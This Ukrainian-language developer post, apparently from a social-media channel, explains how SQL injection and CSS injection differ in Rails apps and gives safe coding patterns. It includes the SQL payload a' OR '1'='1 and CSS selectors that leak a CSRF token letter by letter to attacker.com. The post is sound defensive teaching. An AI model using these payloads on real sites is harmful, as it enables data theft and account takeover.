📌 Очікувана відповідь:
Обидві атаки належать до класу ін‘єкцій (впровадження стороннього коду), але працюють на різних рівнях абстракції, мають абсолютно різні вектори виконання та наслідки:
👉 SQL Injection (SQLi) — атака на рівні бекенду та бази даних. Зловмисник змінює логіку SQL-запиту, щоб отримати несанкціонований доступ до БД (читання, модифікація або видалення даних).
👉 CSS Injection — атака на рівні клієнтської сторони (браузера). Зловмисник впроваджує шкідливі стилі, щоб змінити UI (фішинг, UI redressing) або ексфільтрувати (викрасти) чутливі дані, які вже присутні в DOM-дереві (наприклад, CSRF-токени), за допомогою селекторів.
📌 Базові приклади в розрізі Rails:
# НІКОЛИ ТАК НЕ РОБІТЬ
User.where("email = '#{params[:email]}'")
# Якщо params[:email] буде: a' OR '1'='1, запит вибере всіх користувачів бази даних.
Safe код у Rails (Active Record автоматично використовує підготовлені запити — prepared statements):
User.where(email: params[:email])
# Або через плейсхолдери:
User.where("email = ?", params[:email])
Приклад CSS-ін’єкції (через відсутність фільтрації у контексті стилів):
Якщо застосунок дозволяє кастомізувати тему профілю і виводить значення безпосередньо у тег <style> без очищення:
<style>
.user-profile { background: <%= params[:theme_color] %>; }
</style>
Якщо зловмисник передасть у params[:theme_color] конструкцію, що закриває поточне правило, він може застосувати послідовний перебір чутливих атрибутів (наприклад, CSRF-токена в прихованому інпуті):
x; }
input[name="authenticity_token"][value^="a"] { background-image: url('https://attacker.com'); }
input[name="authenticity_token"][value^="b"] { background-image: url('https://attacker.com'); }
Браузер побачить збіг першої літери токена з атрибутом value у HTML та надішле на сервер зловмисника тригерний HTTP-запит для завантаження фону. Наступними запитами (або через генерацію послідовних @import) зловмисник дізнається весь токен.
📌 Детальний розбір механізмів:
1️⃣ Область дії (Scope):
👉 SQLi: Сервер і база даних. Загрожує витоком або знищенням усієї БД.
👉 CSS Injection: Браузер жертви. Загрожує витоком статичних даних з DOM (токени, особисті дані у text-вузлах через лігатури), перекриттям оригінальних кнопок фейковими формами (Clickjacking / UI redressing).
2️⃣ Як захищає Rails "з коробки":
👉 Від SQLi: Active Record екранує всі параметри, які передаються через хеші. Вразливість виникає лише за умов використання сирого SQL з інтерполяцією рядків #{}.
👉 Від CSS-ін'єкцій: Стандартний html_escape від Rails захищає від виходу з HTML-контексту (наприклад, не дасть закрити тег </style>). Проте, якщо ви використовуєте методи raw, html_safe, або дозволяєте користувачам підвантажувати власні CSS-файли чи inline-стилі без глибокої санітизації через спеціалізовані парсери (наприклад, rails-html-sanitizer з жорстким білим списком властивостей), застосунок стає вразливим.
3️⃣ Специфіка JS/SPA застосунків:
Для сучасних JS-фреймворків (React, Vue) CSS-ін‘єкція також небезпечна через CSS-in-JS рішення або динамічні ін’єкції стилів. Якщо токени або стейт рендеряться в HTML-атрибути елементів (наприклад, data-token), CSS-селектори зловмисника легко їх прочитають без жодного рядка на JavaScript.
🍀 Розуміння безпеки на стику технологій та знання реальних обмежень браузерних рушіїв — це те, що відрізняє Senior-розробника від звичайного кодера.
Пишіть безпечний код і будуйте надійні системи. Продуктивного тижня!
TikTok | Instagram | Telegram